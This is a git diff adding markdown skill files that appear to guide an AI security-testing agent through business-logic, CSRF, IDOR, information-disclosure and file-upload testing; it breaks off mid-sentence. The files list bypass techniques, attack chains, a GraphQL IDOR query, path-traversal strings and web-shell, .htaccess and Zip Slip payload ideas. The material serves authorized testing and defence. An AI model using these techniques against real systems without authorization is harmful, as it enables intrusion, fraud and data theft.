amounts, zero-price, free shipping thresholds, minimum/maximum guardrails + +### Quotas, Limits, and Inventory + +- Off-by-one and time-bound resets (UTC vs local); pre-warm at T-1s and post-fire at T+1s +- Reservation/hold leaks: reserve multiple, complete one, release not enforced; backorder logic inconsistencies +- Distributed counters without strong consistency enabling double-consumption + +### Refunds and Chargebacks + +- Double-refund: refund via UI and support tool; refund partials summing above captured amount +- Refund after benefits consumed (downloaded digital goods, shipped items) due to missing post-consumption checks + +### Feature Gates and Roles + +- Feature flags enforced client-side or at edge but not in core services; toggle names guessed or fallback to default-enabled +- Role transitions leaving stale capabilities (retain premium after downgrade; retain admin endpoints after demotion) + +## Advanced Techniques + +### Event-Driven Sagas + +- Saga/compensation gaps: trigger compensation without original success; or execute success twice without compensation +- Outbox/Inbox patterns missing idempotency → duplicate downstream side effects +- Cron/backfill jobs operating outside request-time authorization; mutate state broadly + +### Microservices Boundaries + +- Cross-service assumption mismatch: one service validates total, another trusts line items; alter between calls +- Header trust: internal services trusting X-Role or X-User-Id from untrusted edges +- Partial failure windows: two-phase actions where phase 1 commits without phase 2, leaving exploitable intermediate state + +### Multi-Tenant Isolation + +- Tenant-scoped counters and credits updated without tenant key in the where-clause; leak across orgs +- Admin aggregate views allowing actions that impact other tenants due to missing per-tenant enforcement + +## Bypass Techniques + +- Content-type switching (JSON/form/multipart) to hit different code paths +- Method alternation (GET performing state change; overrides via X-HTTP-Method-Override) +- Client recomputation: totals, taxes, discounts computed on client and accepted by server +- Cache/gateway differentials: stale decisions from CDN/APIM that are not identity-aware + +## Special Contexts + +### E-commerce + +- Stack incompatible discounts via parallel apply; remove qualifying item after discount applied; retain free shipping after cart changes +- Modify shipping tier post-quote; abuse returns to keep product and refund + +### Banking/Fintech + +- Split transfers to bypass per-transaction threshold; schedule vs instant path inconsistencies +- Exploit grace periods on holds/authorizations to withdraw again before settlement + +### SaaS/B2B + +- Seat licensing: race seat assignment to exceed purchased seats; stale license checks in background tasks +- Usage metering: report late or duplicate usage to avoid billing or to over-consume + +## Chaining Attacks + +- Business logic + race: duplicate benefits before state updates +- Business logic + IDOR: operate on others' resources once a workflow leak reveals IDs +- Business logic + CSRF: force a victim to complete a sensitive step sequence + +## Testing Methodology + +1. **Enumerate state machine** - Per critical workflow (states, transitions, pre/post-conditions); note invariants +2. **Build Actor × Action × Resource matrix** - Unauth, basic user, premium, staff/admin; identify actions per role +3. **Test transitions** - Step skipping, repetition, reordering, late mutation +4. **Introduce variance** - Time, concurrency, channel (mobile/web/API/GraphQL), content-types +5. **Validate persistence boundaries** - All services, queues, and jobs re-enforce invariants + +## Validation + +1. Show an invariant violation (e.g., two refunds for one charge, negative inventory, exceeding quotas) +2. Provide side-by-side evidence for intended vs abused flows with the same principal +3. Demonstrate durability: the undesired state persists and is observable in authoritative sources (ledger, emails, admin views) +4. Quantify impact per action and at scale (unit loss × feasible repetitions) + +## False Positives + +- Promotional behavior explicitly allowed by policy (documented free trials, goodwill credits) +- Visual-only inconsistencies with no durable or exploitable state change +- Admin-only operations with proper audit and approvals + +## Impact + +- Direct financial loss (fraud, arbitrage, over-refunds, unpaid consumption) +- Regulatory/contractual violations (billing accuracy, consumer protection) +- Denial of inventory/services to legitimate users through resource exhaustion +- Privilege retention or unauthorized access to premium features + +## Pro Tips + +1. Start from invariants and ledgers, not UI—prove conservation of value breaks +2. Test with time and concurrency; many bugs only appear under pressure +3. Recompute totals server-side; never accept client math—flag when you observe otherwise +4. Treat idempotency and retries as first-class: verify key scope and persistence +5. Probe background workers and webhooks separately; they often skip auth and rule checks +6. Validate role/feature gates at the service that mutates state, not only at the edge +7. Explore end-of-period edges (month-end, trial end, DST) for rounding and window issues +8. Use minimal, auditable PoCs that demonstrate durable state change and exact loss +9. Chain with authorization tests (IDOR/Function-level access) to magnify impact +10. When in doubt, map the state machine; gaps appear where transitions lack server-side guards + +## Summary + +Business logic security is the enforcement of domain invariants under adversarial sequencing, timing, and inputs. If any step trusts the client or prior steps, expect abuse. diff --git a/imported-skills/strix/skills/vulnerabilities/csrf.md b/imported-skills/strix/skills/vulnerabilities/csrf.md new file mode 100644 index 0000000000000000000000000000000000000000..594af0c864f9913aea020d4b10da9f1e4d78b14e --- /dev/null +++ b/imported-skills/strix/skills/vulnerabilities/csrf.md @@ -0,0 +1,198 @@ +--- +name: csrf +description: CSRF testing covering token bypass, SameSite cookies, CORS misconfigurations, and state-changing request abuse +--- + +# CSRF + +Cross-site request forgery abuses ambient authority (cookies, HTTP auth) across origins. Do not rely on CORS alone; enforce non-replayable tokens and strict origin checks for every state change. + +## Attack Surface + +**Session Types** +- Web apps with cookie-based sessions and HTTP auth +- JSON/REST, GraphQL (GET/persisted queries), file upload endpoints + +**Authentication Flows** +- Login/logout, password/email change, MFA toggles + +**OAuth/OIDC** +- Authorize, token, logout, disconnect/connect endpoints + +## High-Value Targets + +- Credentials and profile changes (email/password/phone) +- Payment and money movement, subscription/plan changes +- API key/secret generation, PAT rotation, SSH keys +- 2FA/TOTP enable/disable; backup codes; device trust +- OAuth connect/disconnect; logout; account deletion +- Admin/staff actions and impersonation flows +- File uploads/deletes; access control changes + +## Reconnaissance + +### Session and Cookies + +- Inspect cookies: HttpOnly, Secure, SameSite (Strict/Lax/None) +- Lax allows cookies on top-level cross-site GET; None requires Secure +- Determine if Authorization headers or bearer tokens are used (generally not CSRF-prone) versus cookies (CSRF-prone) + +### Token and Header Checks + +- Locate anti-CSRF tokens (hidden inputs, meta tags, custom headers) +- Test removal, reuse across requests, reuse across sessions, binding to method/path +- Verify server checks Origin and/or Referer on state changes +- Test null/missing and cross-origin values + +### Method and Content-Types + +- Confirm whether GET, HEAD, or OPTIONS perform state changes +- Try simple content-types to avoid preflight: `application/x-www-form-urlencoded`, `multipart/form-data`, `text/plain` +- Probe parsers that auto-coerce `text/plain` or form-encoded bodies into JSON + +### CORS Profile + +- Identify `Access-Control-Allow-Origin` and `-Credentials` +- Overly permissive CORS is not a CSRF fix and can turn CSRF into data exfiltration +- Test per-endpoint CORS differences; preflight vs simple request behavior can diverge + +## Key Vulnerabilities + +### Navigation CSRF + +- Auto-submitting form to target origin; works when cookies are sent and no token/origin checks are enforced +- Top-level GET navigation can trigger state if server misuses GET or links actions to GET callbacks + +### Simple Content-Type CSRF + +- `application/x-www-form-urlencoded` and `multipart/form-data` POSTs do not require preflight +- `text/plain` form bodies can slip through validators and be parsed server-side + +### JSON CSRF + +- If server parses JSON from `text/plain` or form-encoded bodies, craft parameters to reconstruct JSON +- Some frameworks accept JSON keys via form fields (e.g., `data[foo]=bar`) or treat duplicate keys leniently + +### Login/Logout CSRF + +- Force logout to clear CSRF tokens, then chain login CSRF to bind victim to attacker's account +- Login CSRF: submit attacker credentials to victim's browser; later actions occur under attacker's account + +### OAuth/OIDC Flows + +- Abuse authorize/logout endpoints reachable via GET or form POST without origin checks +- Exploit relaxed SameSite on top-level navigations +- Open redirects or loose redirect_uri validation can chain with CSRF to force unintended authorizations + +### File and Action Endpoints + +- File upload/delete often lack token checks; forge multipart requests to modify storage +- Admin actions exposed as simple POST links are frequently CSRFable + +### GraphQL CSRF + +- If queries/mutations are allowed via GET or persisted queries, exploit top-level navigation with encoded payloads +- Batched operations may hide mutations within a nominally safe request + +### WebSocket CSRF + +- Browsers send cookies on WebSocket handshake +- Enforce Origin checks server-side; without them, cross-site pages can open authenticated sockets and issue actions + +## Bypass Techniques + +### SameSite Nuance + +- Lax-by-default cookies are sent on top-level cross-site GET but not POST +- Exploit GET state changes and GET-based confirmation steps +- Legacy or nonstandard clients may ignore SameSite; validate across browsers/devices + +### Origin/Referer Obfuscation + +- Sandbox/iframes can produce null Origin; some frameworks incorrectly accept null +- `about:blank`/`data:` URLs alter Referer +- Ensure server requires explicit Origin/Referer match + +### Method Override + +- Backends honoring `_method` or `X-HTTP-Method-Override` may allow destructive actions through a simple POST + +### Token Weaknesses + +- Accepting missing/empty tokens +- Tokens not tied to session, user, or path +- Tokens reused indefinitely; tokens in GET +- Double-submit cookie without Secure/HttpOnly, or with predictable token sources + +### Content-Type Switching + +- Switch between form, multipart, and `text/plain` to reach different code paths +- Use duplicate keys and array shapes to confuse parsers + +### Header Manipulation + +- Strip Referer via meta refresh or navigate from `about:blank` +- Test null Origin acceptance +- Leverage misconfigured CORS to add custom headers that servers mistakenly treat as CSRF tokens + +## Special Contexts + +### Mobile/SPA + +- Deep links and embedded WebViews may auto-send cookies; trigger actions via crafted intents/links +- SPAs that rely solely on bearer tokens are less CSRF-prone, but hybrid apps mixing cookies and APIs can still be vulnerable + +### Integrations + +- Webhooks and back-office tools sometimes expose state-changing GETs intended for staff +- Confirm CSRF defenses there too + +## Chaining Attacks + +- CSRF + IDOR: force actions on other users' resources once references are known +- CSRF + Clickjacking: guide user interactions to bypass UI confirmations +- CSRF + OAuth mix-up: bind victim sessions to unintended clients + +## Testing Methodology + +1. **Inventory endpoints** - All state-changing endpoints including admin/staff +2. **Note request details** - Method, content-type, whether reachable via simple requests +3. **Assess session model** - Cookies with SameSite attrs, custom headers, tokens +4. **Check defenses** - Anti-CSRF tokens and Origin/Referer enforcement +5. **Attempt preflightless delivery** - Form POST, text/plain, multipart/form-data +6. **Test navigation** - Top-level GET navigation +7. **Cross-browser validation** - Behavior differs by SameSite and navigation context + +## Validation + +1. Demonstrate a cross-origin page that triggers a state change without user interaction beyond visiting +2. Show that removing the anti-CSRF control (token/header) is accepted, or that Origin/Referer are not verified +3. Prove behavior across at least two browsers or contexts (top-level nav vs XHR/fetch) +4. Provide before/after state evidence for the same account +5. If defenses exist, show the exact condition under which they are bypassed (content-type, method override, null Origin) + +## False Positives + +- Token verification present and required; Origin/Referer enforced consistently +- No cookies sent on cross-site requests (SameSite=Strict, no HTTP auth) and no state change via simple requests +- Only idempotent, non-sensitive operations affected + +## Impact + +- Account state changes (email/password/MFA), session hijacking via login CSRF +- Financial operations, administrative actions +- Durable authorization changes (role/permission flips, key rotations) and data loss + +## Pro Tips + +1. Prefer preflightless vectors (form-encoded, multipart, text/plain) and top-level GET if available +2. Test login/logout, OAuth connect/disconnect, and account linking first +3. Validate Origin/Referer behavior explicitly; do not assume frameworks enforce them +4. Toggle SameSite and observe differences across navigation vs XHR +5. For GraphQL, attempt GET queries or persisted queries that carry mutations +6. Always try method overrides and parser differentials +7. Combine with clickjacking when visual confirmations block CSRF + +## Summary + +CSRF is eliminated only when state changes require a secret the attacker cannot supply and the server verifies the caller's origin. Tokens and Origin checks must hold across methods, content-types, and transports. diff --git a/imported-skills/strix/skills/vulnerabilities/idor.md b/imported-skills/strix/skills/vulnerabilities/idor.md new file mode 100644 index 0000000000000000000000000000000000000000..6b7eb66fbc9bc7a52abc80b714f79121e0a5d9ee --- /dev/null +++ b/imported-skills/strix/skills/vulnerabilities/idor.md @@ -0,0 +1,213 @@ +--- +name: idor +description: IDOR/BOLA testing for object-level authorization failures and cross-account data access +--- + +# IDOR + +Object-level authorization failures (BOLA/IDOR) lead to cross-account data exposure and unauthorized state changes across APIs, web, mobile, and microservices. Treat every object reference as untrusted until proven bound to the caller. + +## Attack Surface + +**Scope** +- Horizontal access: access another subject's objects of the same type +- Vertical access: access privileged objects/actions (admin-only, staff-only) +- Cross-tenant access: break isolation boundaries in multi-tenant systems +- Cross-service access: token or context accepted by the wrong service + +**Reference Locations** +- Paths, query params, JSON bodies, form-data, headers, cookies +- JWT claims, GraphQL arguments, WebSocket messages, gRPC messages + +**Identifier Forms** +- Integers, UUID/ULID/CUID, Snowflake, slugs +- Composite keys (e.g., `{orgId}:{userId}`) +- Opaque tokens, base64/hex-encoded blobs + +**Relationship References** +- parentId, ownerId, accountId, tenantId, organization, teamId, projectId, subscriptionId + +**Expansion/Projection Knobs** +- `fields`, `include`, `expand`, `projection`, `with`, `select`, `populate` +- Often bypass authorization in resolvers or serializers + +## High-Value Targets + +- Exports/backups/reporting endpoints (CSV/PDF/ZIP) +- Messaging/mailbox/notifications, audit logs, activity feeds +- Billing: invoices, payment methods, transactions, credits +- Healthcare/education records, HR documents, PII/PHI/PCI +- Admin/staff tools, impersonation/session management +- File/object storage keys (S3/GCS signed URLs, share links) +- Background jobs: import/export job IDs, task results +- Multi-tenant resources: organizations, workspaces, projects + +## Reconnaissance + +**Parameter Analysis** +- Pagination/cursors: `page[offset]`, `page[limit]`, `cursor`, `nextPageToken` (often reveal or accept cross-tenant/state) +- Directory/list endpoints as seeders: search/list/suggest/export often leak object IDs for secondary exploitation + +**Enumeration Techniques** +- Alternate types: `{"id":123}` vs `{"id":"123"}`, arrays vs scalars, objects vs scalars +- Edge values: null/empty/0/-1/MAX_INT, scientific notation, overflows +- Duplicate keys/parameter pollution: `id=1&id=2`, JSON duplicate keys `{"id":1,"id":2}` (parser precedence) +- Case/aliasing: userId vs userid vs USER_ID; alt names like resourceId, targetId, account +- Path traversal-like in virtual file systems: `/files/user_123/../../user_456/report.csv` + +**UUID/Opaque ID Sources** +- Logs, exports, JS bundles, analytics endpoints, emails, public activity +- Time-based IDs (UUIDv1, ULID) may be guessable within a window + +## Key Vulnerabilities + +### Horizontal & Vertical Access + +- Swap object IDs between principals using the same token to probe horizontal access +- Repeat with lower-privilege tokens to probe vertical access +- Target partial updates (PATCH, JSON Patch/JSON Merge Patch) for silent unauthorized modifications + +### Bulk & Batch Operations + +- Batch endpoints (bulk update/delete) often validate only the first element; include cross-tenant IDs mid-array +- CSV/JSON imports referencing foreign object IDs (ownerId, orgId) may bypass create-time checks + +### Secondary IDOR + +- Use list/search endpoints, notifications, emails, webhooks, and client logs to collect valid IDs +- Fetch or mutate those objects directly +- Pagination/cursor manipulation to skip filters and pull other users' pages + +### Job/Task Objects + +- Access job/task IDs from one user to retrieve results for another (`export/{jobId}/download`, `reports/{taskId}`) +- Cancel/approve someone else's jobs by referencing their task IDs + +### File/Object Storage + +- Direct object paths or weakly scoped signed URLs +- Attempt key prefix changes, content-disposition tricks, or stale signatures reused across tenants +- Replace share tokens with tokens from other tenants; try case/URL-encoding variations + +### GraphQL + +- Enforce resolver-level checks: do not rely on a top-level gate +- Verify field and edge resolvers bind the resource to the caller on every hop +- Abuse batching/aliases to retrieve multiple users' nodes in one request +- Global node patterns (Relay): decode base64 IDs and swap raw IDs +- Overfetching via fragments on privileged types + +```graphql +query IDOR { + me { id } + u1: user(id: "VXNlcjo0NTY=") { email billing { last4 } } + u2: node(id: "VXNlcjo0NTc=") { ... on User { email } } +} +``` + +### Microservices & Gateways + +- Token confusion: token scoped for Service A accepted by Service B due to shared JWT verification but missing audience/claims checks +- Trust on headers: reverse proxies or API gateways injecting/trusting headers like `X-User-Id`, `X-Organization-Id`; try overriding or removing them +- Context loss: async consumers (queues, workers) re-process requests without re-checking authorization + +### Multi-Tenant + +- Probe tenant scoping through headers, subdomains, and path params (`X-Tenant-ID`, org slug) +- Try mixing org of token with resource from another org +- Test cross-tenant reports/analytics rollups and admin views which aggregate multiple tenants + +### WebSocket + +- Authorization per-subscription: ensure channel/topic names cannot be guessed (`user_{id}`, `org_{id}`) +- Subscribe/publish checks must run server-side, not only at handshake +- Try sending messages with target user IDs after subscribing to own channels + +### gRPC + +- Direct protobuf fields (`owner_id`, `tenant_id`) often bypass HTTP-layer middleware +- Validate references via grpcurl with tokens from different principals + +### Integrations + +- Webhooks/callbacks referencing foreign objects (e.g., `invoice_id`) processed without verifying ownership +- Third-party importers syncing data into wrong tenant due to missing tenant binding + +## Bypass Techniques + +**Parser & Transport** +- Content-type switching: `application/json` ↔ `application/x-www-form-urlencoded` ↔ `multipart/form-data` +- Method tunneling: `X-HTTP-Method-Override`, `_method=PATCH`; or using GET on endpoints incorrectly accepting state changes +- JSON duplicate keys/array injection to bypass naive validators + +**Parameter Pollution** +- Duplicate parameters in query/body to influence server-side precedence (`id=123&id=456`); try both orderings +- Mix case/alias param names so gateway and backend disagree (userId vs userid) + +**Cache & Gateway** +- CDN/proxy key confusion: responses keyed without Authorization or tenant headers expose cached objects to other users +- Manipulate Vary and Accept headers +- Redirect chains and 304/206 behaviors can leak content across tenants + +**Race Windows** +- Time-of-check vs time-of-use: change the referenced ID between validation and execution using parallel requests + +**Blind Channels** +- Use differential responses (status, size, ETag, timing) to detect existence +- Error shape often differs for owned vs foreign objects +- HEAD/OPTIONS, conditional requests (`If-None-Match`/`If-Modified-Since`) can confirm existence without full content + +## Chaining Attacks + +- IDOR + CSRF: force victims to trigger unauthorized changes on objects you discovered +- IDOR + Stored XSS: pivot into other users' sessions through data you gained access to +- IDOR + SSRF: exfiltrate internal IDs, then access their corresponding resources +- IDOR + Race: bypass spot checks with simultaneous requests + +## Testing Methodology + +1. **Build matrix** - Subject × Object × Action matrix (who can do what to which resource) +2. **Obtain principals** - At least two: owner and non-owner (plus admin/staff if applicable) +3. **Collect IDs** - Capture at least one valid object ID per principal from list/search/export endpoints +4. **Cross-channel testing** - Exercise every action (R/W/D/Export) while swapping IDs, tokens, tenants +5. **Transport variation** - Test across web, mobile, API, GraphQL, WebSocket, gRPC +6. **Consistency check** - Same rule must hold regardless of transport, content-type, serialization, or gateway + +## Validation + +1. Demonstrate access to an object not owned by the caller (content or metadata) +2. Show the same request fails with appropriately enforced authorization when corrected +3. Prove cross-channel consistency: same unauthorized access via at least two transports (e.g., REST and GraphQL) +4. Document tenant boundary violations (if applicable) +5. Provide reproducible steps and evidence (requests/responses for owner vs non-owner) + +## False Positives + +- Public/anonymous resources by design +- Soft-privatized data where content is already public +- Idempotent metadata lookups that do not reveal sensitive content +- Correct row-level checks enforced across all channels + +## Impact + +- Cross-account data exposure (PII/PHI/PCI) +- Unauthorized state changes (transfers, role changes, cancellations) +- Cross-tenant data leaks violating contractual and regulatory boundaries +- Regulatory risk (GDPR/HIPAA/PCI), fraud, reputational damage + +## Pro Tips + +1. Always test list/search/export endpoints first; they are rich ID seeders +2. Build a reusable ID corpus from logs, notifications, emails, and client bundles +3. Toggle content-types and transports; authorization middleware often differs per stack +4. In GraphQL, validate at resolver boundaries; never trust parent auth to cover children +5. In multi-tenant apps, vary org headers, subdomains, and path params independently +6. Check batch/bulk operations and background job endpoints; they frequently skip per-item checks +7. Inspect gateways for header trust and cache key configuration +8. Treat UUIDs as untrusted; obtain them via OSINT/leaks and test binding +9. Use timing/size/ETag differentials for blind confirmation when content is masked +10. Prove impact with precise before/after diffs and role-separated evidence + +## Summary + +Authorization must bind subject, action, and specific object on every request, regardless of identifier opacity or transport. If the binding is missing anywhere, the system is vulnerable. diff --git a/imported-skills/strix/skills/vulnerabilities/information_disclosure.md b/imported-skills/strix/skills/vulnerabilities/information_disclosure.md new file mode 100644 index 0000000000000000000000000000000000000000..0680be92ab3c62afc53b09ef56403e1cccab3921 --- /dev/null +++ b/imported-skills/strix/skills/vulnerabilities/information_disclosure.md @@ -0,0 +1,183 @@ +--- +name: information-disclosure +description: Information disclosure testing covering error messages, debug endpoints, metadata leakage, and source exposure +--- + +# Information Disclosure + +Information leaks accelerate exploitation by revealing code, configuration, identifiers, and trust boundaries. Treat every response byte, artifact, and header as potential intelligence. Minimize, normalize, and scope disclosure across all channels. + +## Attack Surface + +- Errors and exception pages: stack traces, file paths, SQL, framework versions +- Debug/dev tooling reachable in prod: debuggers, profilers, feature flags +- DVCS/build artifacts and temp/backup files: .git, .svn, .hg, .bak, .swp, archives +- Configuration and secrets: .env, phpinfo, appsettings.json, Docker/K8s manifests +- API schemas and introspection: OpenAPI/Swagger, GraphQL introspection, gRPC reflection +- Client bundles and source maps: webpack/Vite maps, embedded env, `__NEXT_DATA__`, static JSON +- Headers and response metadata: Server/X-Powered-By, tracing, ETag, Accept-Ranges, Server-Timing +- Storage/export surfaces: public buckets, signed URLs, export/download endpoints +- Observability/admin: /metrics, /actuator, /health, tracing UIs (Jaeger, Zipkin), Kibana, Admin UIs +- Directory listings and indexing: autoindex, sitemap/robots revealing hidden routes + +## High-Value Surfaces + +### Errors and Exceptions + +- SQL/ORM errors: reveal table/column names, DBMS, query fragments +- Stack traces: absolute paths, class/method names, framework versions, developer emails +- Template engine probes: `{{7*7}}`, `${7*7}` identify templating stack +- JSON/XML parsers: type mismatches leak internal model names + +### Debug and Env Modes + +- Debug pages: Django DEBUG, Laravel Telescope, Rails error pages, Flask/Werkzeug debugger, ASP.NET customErrors Off +- Profiler endpoints: `/debug/pprof`, `/actuator`, `/_profiler`, custom `/debug` APIs +- Feature/config toggles exposed in JS or headers + +### DVCS and Backups + +- DVCS: `/.git/` (HEAD, config, index, objects), `.svn/entries`, `.hg/store` → reconstruct source and secrets +- Backups/temp: `.bak`/`.old`/`~`/`.swp`/`.swo`/`.tmp`/`.orig`, db dumps, zipped deployments +- Build artifacts: dist artifacts containing `.map`, env prints, internal URLs + +### Configs and Secrets + +- Classic: web.config, appsettings.json, settings.py, config.php, phpinfo.php +- Containers/cloud: Dockerfile, docker-compose.yml, Kubernetes manifests, service account tokens +- Credentials and connection strings; internal hosts and ports; JWT secrets + +### API Schemas and Introspection + +- OpenAPI/Swagger: `/swagger`, `/api-docs`, `/openapi.json` — enumerate hidden/privileged operations +- GraphQL: introspection enabled; field suggestions; error disclosure via invalid fields +- gRPC: server reflection exposing services/messages + +### Client Bundles and Maps + +- Source maps (`.map`) reveal original sources, comments, and internal logic +- Client env leakage: `NEXT_PUBLIC_`/`VITE_`/`REACT_APP_` variables; embedded secrets +- `__NEXT_DATA__` and pre-fetched JSON can include internal IDs, flags, or PII + +### Headers and Response Metadata + +- Fingerprinting: Server, X-Powered-By, X-AspNet-Version +- Tracing: X-Request-Id, traceparent, Server-Timing, debug headers +- Caching oracles: ETag/If-None-Match, Last-Modified/If-Modified-Since, Accept-Ranges/Range + +### Storage and Exports + +- Public object storage: S3/GCS/Azure blobs with world-readable ACLs or guessable keys +- Signed URLs: long-lived, weakly scoped, re-usable across tenants +- Export/report endpoints returning foreign data sets or unfiltered fields + +### Observability and Admin + +- Metrics: Prometheus `/metrics` exposing internal hostnames, process args +- Health/config: `/actuator/health`, `/actuator/env`, Spring Boot info endpoints +- Tracing UIs: Jaeger/Zipkin/Kibana/Grafana exposed without auth + +### Cross-Origin Signals + +- Referrer leakage: missing/weak referrer policy leading to path/query/token leaks to third parties +- CORS: overly permissive Access-Control-Allow-Origin/Expose-Headers revealing data cross-origin; preflight error shapes + +### File Metadata + +- EXIF, PDF/Office properties: authors, paths, software versions, timestamps, embedded objects + +### Cloud Storage + +- S3/GCS/Azure: anonymous listing disabled but object reads allowed; metadata headers leak owner/project identifiers +- Pre-signed URLs: audience not bound; observe key scope and lifetime in URL params + +## Key Vulnerabilities + +### Differential Oracles + +- Compare owner vs non-owner vs anonymous for the same resource +- Track: status, length, ETag, Last-Modified, Cache-Control +- HEAD vs GET: header-only differences can confirm existence +- Conditional requests: 304 vs 200 behaviors leak existence/state + +### CDN and Cache Keys + +- Identity-agnostic caches: CDN/proxy keys missing Authorization/tenant headers +- Vary misconfiguration: user-agent/language vary without auth vary leaks content +- 206 partial content + stale caches leak object fragments + +### Cross-Channel Mirroring + +- Inconsistent hardening between REST, GraphQL, WebSocket, and gRPC +- SSR vs CSR: server-rendered pages omit fields while JSON API includes them + +## Triage Rubric + +- **Critical**: Credentials/keys; signed URL secrets; config dumps; unrestricted admin/observability panels +- **High**: Versions with reachable CVEs; cross-tenant data; caches serving cross-user content +- **Medium**: Internal paths/hosts enabling LFI/SSRF pivots; source maps revealing hidden endpoints +- **Low**: Generic headers, marketing versions, intended documentation without exploit path + +## Exploitation Chains + +### Credential Extraction +- DVCS/config dumps exposing secrets (DB, SMTP, JWT, cloud) +- Keys → cloud control plane access + +### Version to CVE +1. Derive precise component versions from headers/errors/bundles +2. Map to known CVEs and confirm reachability +3. Execute minimal proof targeting disclosed component + +### Path Disclosure to LFI +1. Paths from stack traces/templates reveal filesystem layout +2. Use LFI/traversal to fetch config/keys + +### Schema to Auth Bypass +1. Schema reveals hidden fields/endpoints +2. Attempt requests with those fields; confirm missing authorization + +## Testing Methodology + +1. **Build channel map** - Web, API, GraphQL, WebSocket, gRPC, mobile, background jobs, exports, CDN +2. **Establish diff harness** - Compare owner vs non-owner vs anonymous; normalize on status/body length/ETag/headers +3. **Trigger controlled failures** - Malformed types, boundary values, missing params, alternate content-types +4. **Enumerate artifacts** - DVCS folders, backups, config endpoints, source maps, client bundles, API docs +5. **Correlate to impact** - Versions→CVE, paths→LFI/RCE, keys→cloud access, schemas→auth bypass + +## Validation + +1. Provide raw evidence (headers/body/artifact) and explain exact data revealed +2. Determine intent: cross-check docs/UX; classify per triage rubric +3. Attempt minimal, reversible exploitation or present a concrete step-by-step chain +4. Show reproducibility and minimal request set +5. Bound scope (user, tenant, environment) and data sensitivity classification + +## False Positives + +- Intentional public docs or non-sensitive metadata with no exploit path +- Generic errors with no actionable details +- Redacted fields that do not change differential oracles +- Version banners with no exposed vulnerable surface and no chain +- Owner-visible-only details that do not cross identity/tenant boundaries + +## Impact + +- Accelerated exploitation of RCE/LFI/SSRF via precise versions and paths +- Credential/secret exposure leading to persistent external compromise +- Cross-tenant data disclosure through exports, caches, or mis-scoped signed URLs +- Privacy/regulatory violations and business intelligence leakage + +## Pro Tips + +1. Start with artifacts (DVCS, backups, maps) before payloads; artifacts yield the fastest wins +2. Normalize responses and diff by digest to reduce noise when comparing roles +3. Hunt source maps and client data JSON; they often carry internal IDs and flags +4. Probe caches/CDNs for identity-unaware keys; verify Vary includes Authorization/tenant +5. Treat introspection and reflection as configuration findings across GraphQL/gRPC +6. Mine observability endpoints last; they are noisy but high-yield in misconfigured setups +7. Chain quickly to a concrete risk and stop—proof should be minimal and reversible + +## Summary + +Information disclosure is an amplifier. Convert leaks into precise, minimal exploits or clear architectural risks. diff --git a/imported-skills/strix/skills/vulnerabilities/insecure_file_uploads.md b/imported-skills/strix/skills/vulnerabilities/insecure_file_uploads.md new file mode 100644 index 0000000000000000000000000000000000000000..9eb736d4e0cfd9fad3ddbb51855965e7ea70baf8 --- /dev/null +++ b/imported-skills/strix/skills/vulnerabilities/insecure_file_uploads.md @@ -0,0 +1,188 @@ +--- +name: insecure-file-uploads +description: File upload security testing covering extension bypass, content-type manipulation, and path traversal +--- + +# Insecure File Uploads + +Upload surfaces are high risk: server-side execution (RCE), stored XSS, malware distribution, storage takeover, and DoS. Modern stacks mix direct-to-cloud uploads, background processors, and CDNs—authorization and validation must hold across every step. + +## Attack Surface + +- Web/mobile/API uploads, direct-to-cloud (S3/GCS/Azure) presigned flows, resumable/multipart protocols (tus, S3 MPU) +- Image/document/media pipelines (ImageMagick/GraphicsMagick, Ghostscript, ExifTool, PDF engines, office converters) +- Admin/bulk importers, archive uploads (zip/tar), report/template uploads, rich text with attachments +- Serving paths: app directly, object storage, CDN, email attachments, previews/thumbnails + +## Reconnaissance + +### Surface Map + +- Endpoints/fields: upload, file, avatar, image, attachment, import, media, document, template +- Direct-to-cloud params: key, bucket, acl, Content-Type, Content-Disposition, x-amz-meta-*, cache-control +- Resumable APIs: create/init → upload/chunk → complete/finalize; check if metadata/headers can be altered late +- Background processors: thumbnails, PDF→image, virus scan queues; identify timing and status transitions + +### Capability Probes + +- Small probe files of each claimed type; diff resulting Content-Type, Content-Disposition, and X-Content-Type-Options on download +- Magic bytes vs extension: JPEG/GIF/PNG headers; mismatches reveal reliance on extension or MIME sniffing +- SVG/HTML probe: do they render inline (text/html or image/svg+xml) or download (attachment)? +- Archive probe: simple zip with nested path traversal entries and symlinks to detect extraction rules + +## Detection Channels + +### Server Execution + +- Web shell execution (language dependent), config/handler uploads (.htaccess, .user.ini, web.config) enabling execution +- Interpreter-side template/script evaluation during conversion (ImageMagick/Ghostscript/ExifTool) + +### Client Execution + +- Stored XSS via SVG/HTML/JS if served inline without correct headers; PDF JavaScript; office macros in previewers + +### Header and Render + +- Missing X-Content-Type-Options: nosniff enabling browser sniff to script +- Content-Type reflection from upload vs server-set; Content-Disposition: inline vs attachment + +### Process Side Effects + +- AV/CDR race or absence; background job status allows access before scan completes; password-protected archives bypass scanning + +## Core Payloads + +### Web Shells and Configs + +- PHP: GIF polyglot (starts with GIF89a) followed by ``; place where PHP is executed +- .htaccess to map extensions to code (AddType/AddHandler); .user.ini (auto_prepend/append_file) for PHP-FPM +- ASP/JSP equivalents where supported; IIS web.config to enable script execution + +### Stored XSS + +- SVG with onload/onerror handlers served as image/svg+xml or text/html +- HTML file with script when served as text/html or sniffed due to missing nosniff + +### MIME Magic Polyglots + +- Double extensions: avatar.jpg.php, report.pdf.html; mixed casing: .pHp, .PhAr +- Magic-byte spoofing: valid JPEG header then embedded script; verify server uses content inspection, not extensions alone + +### Archive Attacks + +- Zip Slip: entries with `../../` to escape extraction dir; symlink-in-zip pointing outside target; nested zips +- Zip bomb: extreme compression ratios to exhaust resources in processors + +### Toolchain Exploits + +- ImageMagick/GraphicsMagick legacy vectors (policy.xml may mitigate): crafted SVG/PS/EPS invoking external commands or reading files +- Ghostscript in PDF/PS with file operators (%pipe%) +- ExifTool metadata parsing bugs; overly large or crafted EXIF/IPTC/XMP fields + +### Cloud Storage Vectors + +- S3/GCS presigned uploads: attacker controls Content-Type/Disposition; set text/html or image/svg+xml and inline rendering +- Public-read ACL or permissive bucket policies expose uploads broadly +- Object key injection via user-controlled path prefixes +- Signed URL reuse and stale URLs; serving directly from bucket without attachment + nosniff headers + +## Advanced Techniques + +### Resumable Multipart + +- Change metadata between init and complete (e.g., swap Content-Type/Disposition at finalize) +- Upload benign chunks, then swap last chunk or complete with different source + +### Filename and Path + +- Unicode homoglyphs, trailing dots/spaces, device names, reserved characters to bypass validators +- Null-byte truncation on legacy stacks; overlong paths; case-insensitive collisions overwriting existing files + +### Processing Races + +- Request file immediately after upload but before AV/CDR completes +- Trigger heavy conversions (large images, deep 